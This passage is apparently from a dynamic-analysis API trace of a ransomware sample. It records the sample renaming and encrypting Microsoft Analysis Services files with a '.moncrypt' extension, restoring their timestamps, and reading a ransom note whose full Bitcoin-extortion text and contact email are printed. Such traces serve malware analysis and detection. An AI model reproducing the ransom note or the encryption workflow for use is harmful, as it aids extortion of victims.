cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0059.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", cchWideChar=85, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", lpUsedDefaultChar=0x0) returned 85 [0059.365] CharLowerBuffW (in: lpsz=".rll", cchLength=0x4 | out: lpsz=".rll") returned 0x4 [0059.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rllices\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", lpUsedDefaultChar=0x0) returned 4 [0059.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0x54e2c0 [0059.366] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0059.366] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0059.366] FindClose (in: hFindFile=0x54e2c0 | out: hFindFile=0x54e2c0) returned 1 [0059.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", dwFileAttributes=0x20) returned 1 [0059.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.moncrypt")) returned 1 [0059.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.367] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0059.367] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x3a18 [0059.367] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0059.367] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x3a18, lpOverlapped=0x0) returned 1 [0059.369] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.369] GlobalLock (hMem=0x440004) returned 0x55bb88 [0059.369] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0059.369] GlobalUnlock (hMem=0x440004) returned 0 [0059.369] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.369] GlobalLock (hMem=0x440004) returned 0x55bb88 [0059.369] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.369] GlobalUnlock (hMem=0x44000c) returned 0 [0059.369] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0059.370] GlobalUnlock (hMem=0x440004) returned 0 [0059.370] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.370] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.370] GlobalUnlock (hMem=0x440004) returned 0 [0059.370] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.370] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.370] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.370] GlobalUnlock (hMem=0x440004) returned 0 [0059.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.381] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0059.381] CloseHandle (hObject=0x190) returned 1 [0059.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.moncrypt", dwFileAttributes=0x20) returned 1 [0059.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.382] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.382] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.382] GlobalUnlock (hMem=0x440004) returned 0 [0059.382] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.382] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.382] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.382] GlobalUnlock (hMem=0x440004) returned 0 [0059.382] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.382] GlobalUnlock (hMem=0x44000c) returned 0 [0059.382] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4490e700, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4490e700, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44934860, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e2c0 [0059.382] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0059.382] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0059.382] FindClose (in: hFindFile=0x54e2c0 | out: hFindFile=0x54e2c0) returned 1 [0059.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0059.383] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0059.383] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0059.383] CloseHandle (hObject=0x190) returned 1 [0059.383] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0059.383] GetLastError () returned 0x12 [0059.383] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.384] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.384] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.384] GlobalUnlock (hMem=0x44000c) returned 0 [0059.384] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.384] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.384] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.384] GlobalUnlock (hMem=0x44000c) returned 0 [0059.384] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.384] GlobalUnlock (hMem=0x440004) returned 0 [0059.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44934860, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44934860, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0059.384] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0059.384] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.384] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.384] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.384] GlobalUnlock (hMem=0x440004) returned 0 [0059.384] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.384] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.384] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.384] GlobalUnlock (hMem=0x440004) returned 0 [0059.384] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.384] GlobalUnlock (hMem=0x44000c) returned 0 [0059.384] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.385] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44934860, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44934860, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.385] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0059.385] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.385] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.385] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.385] GlobalUnlock (hMem=0x44000c) returned 0 [0059.385] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.385] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.385] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.385] GlobalUnlock (hMem=0x44000c) returned 0 [0059.385] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.385] GlobalUnlock (hMem=0x440004) returned 0 [0059.385] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.385] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4490e700, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4490e700, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44934860, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0059.385] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0059.385] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.385] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.385] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.385] GlobalUnlock (hMem=0x440004) returned 0 [0059.385] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.385] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.385] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.385] GlobalUnlock (hMem=0x440004) returned 0 [0059.385] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.385] GlobalUnlock (hMem=0x44000c) returned 0 [0059.385] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.386] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll.moncrypt", cAlternateFileName="MSMDSR~1.MON")) returned 1 [0059.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0059.386] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.386] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.386] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.386] GlobalUnlock (hMem=0x44000c) returned 0 [0059.386] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.386] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.386] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.386] GlobalUnlock (hMem=0x44000c) returned 0 [0059.386] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.386] GlobalUnlock (hMem=0x440004) returned 0 [0059.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.386] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3ad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll.moncrypt", cAlternateFileName="MSOLUI~1.MON")) returned 1 [0059.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0059.386] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0059.386] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.386] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.386] GlobalUnlock (hMem=0x440004) returned 0 [0059.386] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.386] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.386] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.386] GlobalUnlock (hMem=0x440004) returned 0 [0059.386] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.386] GlobalUnlock (hMem=0x44000c) returned 0 [0059.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.386] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3ad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll.moncrypt", cAlternateFileName="MSOLUI~1.MON")) returned 0 [0059.387] GetLastError () returned 0x12 [0059.387] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.387] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0059.387] GetLastError () returned 0x12 [0059.387] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.387] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0059.387] GetLastError () returned 0x12 [0059.387] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0059.388] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0059.388] GetLastError () returned 0x12 [0059.388] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0059.388] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a8b3e0, ftCreationTime.dwHighDateTime=0x1d54153, ftLastAccessTime.dwLowDateTime=0x6cff8640, ftLastAccessTime.dwHighDateTime=0x1d5407e, ftLastWriteTime.dwLowDateTime=0x6cff8640, ftLastWriteTime.dwHighDateTime=0x1d5407e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0059.388] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.388] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.388] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.388] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.388] GlobalUnlock (hMem=0x44000c) returned 0 [0059.388] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.388] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.388] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.388] GlobalUnlock (hMem=0x44000c) returned 0 [0059.388] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.388] GlobalUnlock (hMem=0x440004) returned 0 [0059.388] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.389] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a8b3e0, 